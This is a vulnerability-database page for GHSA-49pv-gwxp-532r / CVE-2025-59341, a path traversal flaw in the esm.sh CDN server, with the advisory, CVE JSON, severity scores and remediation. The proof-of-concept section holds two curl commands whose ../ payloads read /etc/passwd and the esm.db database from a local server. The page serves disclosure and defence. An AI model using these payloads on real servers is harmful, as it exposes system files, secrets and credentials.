Vulnerability-Lookup

GHSA-49PV-GWXP-532R

Vulnerability from github – Published: 2025-09-17 18:39 – Updated: 2025-09-26 16:14

Summary

esm.sh has File Inclusion issue

Details

Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

Proof of Concept

Using this default config file that I copy from the repo, the server is running at http://localhost:9999 with this command go run server/esmd/main.go --config=config.json

{
  "port": 9999,
  "npmRegistry": "https://registry.npmjs.org/",
  "npmToken": "******"
}

Trigger the LFI vulnerability by sending this command below to read a local file

# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'

poc-image

Remediation

Simply remove any .. in the URL path before actually process the file. See more details in this guide

Credits

Severity

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "136"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-17T18:39:20Z",
    "nvd_published_at": "2025-09-17T18:15:53Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).\n\n**Severity:** High \u2014 LFI can expose secrets, configuration files, credentials, or enable further compromise.\n**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.\n\nVulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168\n\n---\n\n## Proof of Concept\n\n1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`\n\n\n```json\n{\n  \"port\": 9999,\n  \"npmRegistry\": \"https://registry.npmjs.org/\",\n  \"npmToken\": \"******\"\n}\n\n```\n\n2. Trigger the LFI vulnerability by sending this command below to read a local file\n\n```bash\n# read /etc/passwd\ncurl --path-as-is \u0027http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1\u0026module=1\u0027\n\n# or read the database esm.db file\ncurl --path-as-is \u0027http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1\u0026module=1\u0027\n```\n\n\u003cimg width=\"3338\" height=\"1906\" alt=\"poc-image\" src=\"https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811\" /\u003e\n\n\n---\n\n## Remediation\n\nSimply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)",
  "id": "GHSA-49pv-gwxp-532r",
  "modified": "2025-09-26T16:14:27Z",
  "published": "2025-09-17T18:39:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59341"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3962"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "esm.sh has File Inclusion issue"
}

CVE-2025-59341 (GCVE-0-2025-59341)

Vulnerability from cvelistv5 – Published: 2025-09-17 17:55 – Updated: 2025-09-17 18:09

Title

Local File Inclusion in esm.sh

Summary

esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

Severity

7.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-09-17 18:07 UTC

CWE

CWE-23 - Relative Path Traversal

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/esm-dev/esm.sh/security/adviso…	x_refsource_CONFIRM
https://github.com/esm-dev/esm.sh/blob/c62f191d32…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
esm-dev	esm.sh	Affected: <= 136

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-59341",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-09-17T18:07:46.500692Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-09-17T18:09:50.796Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "esm.sh",
          "vendor": "esm-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 136"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources)."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-23",
              "description": "CWE-23: Relative Path Traversal",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-09-17T17:55:25.827Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168"
        }
      ],
      "source": {
        "advisory": "GHSA-49pv-gwxp-532r",
        "discovery": "UNKNOWN"
      },
      "title": "Local File Inclusion in esm.sh"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-59341",
    "datePublished": "2025-09-17T17:55:25.827Z",
    "dateReserved": "2025-09-12T12:36:24.635Z",
    "dateUpdated": "2025-09-17T18:09:50.796Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-49PV-GWXP-532R

Summary

Proof of Concept

Remediation

Credits

CVE-2025-59341 (GCVE-0-2025-59341)

Tags

Sightings

Nomenclature

Related by attack behaviour